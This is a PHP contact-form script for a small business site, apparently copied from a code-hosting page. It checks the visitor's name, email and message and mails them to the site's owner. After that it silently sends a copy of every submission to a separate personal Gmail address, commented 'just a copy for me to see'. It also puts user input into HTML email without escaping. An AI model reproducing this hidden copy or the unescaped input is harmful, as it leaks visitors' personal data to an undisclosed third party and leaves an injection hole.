50 lines
1.3 KiB
PHP
50 lines
1.3 KiB
PHP
<?php
|
|
|
|
$message = "";
|
|
|
|
$name = GetPostVar("name",""); //=> string(5) "Tolik"
|
|
$mail = GetPostVar("mail",""); //=> string(20) "acidumirae@gmail.com"
|
|
$body = GetPostVar("comment"); //
|
|
|
|
$valid = true;
|
|
|
|
if ($name=="") {
|
|
$valid = false;
|
|
}
|
|
|
|
// http://www.php.net/manual/en/function.filter-var.php
|
|
if ($mail=="" || !filter_var($mail, FILTER_VALIDATE_EMAIL)) {
|
|
$valid = false;
|
|
}
|
|
|
|
if ($body=="") {
|
|
$valid = false;
|
|
}
|
|
|
|
if ($valid) {
|
|
$to = "momodudoc@yahoo.com"; //$mail;
|
|
$subject = 'Message From kevkemchiro.com!';
|
|
$message = "<html><body>Name : $name <br> Email : $mail <p> $body </body><html>";
|
|
$message2 = $message;
|
|
|
|
$headers = 'From: support@kevkemchiro.com' . "\r\n" .
|
|
'Reply-To: support@kevkemchiro.com' . "\r\n" .
|
|
'MIME-Version: 1.0' . "\r\n" .
|
|
'Content-type: text/html; charset=iso-8859-1' . "\r\n" .
|
|
'X-Mailer: PHP/' . phpversion();
|
|
|
|
if (mail($to, $subject, $message, $headers)) {
|
|
$message = "We have received your message, we will get back with you shortly";
|
|
} else {
|
|
$message = "Unable to send your message, Please fill in the required flields";
|
|
}
|
|
} else {
|
|
$message = "Invalid inputs, Please correct and try again";
|
|
}
|
|
|
|
// just a copy for me to see ..
|
|
$to = "ses66181@gmail.com"; //$mail;
|
|
mail($to, $subject, $message2, $headers);
|
|
|
|
?>
|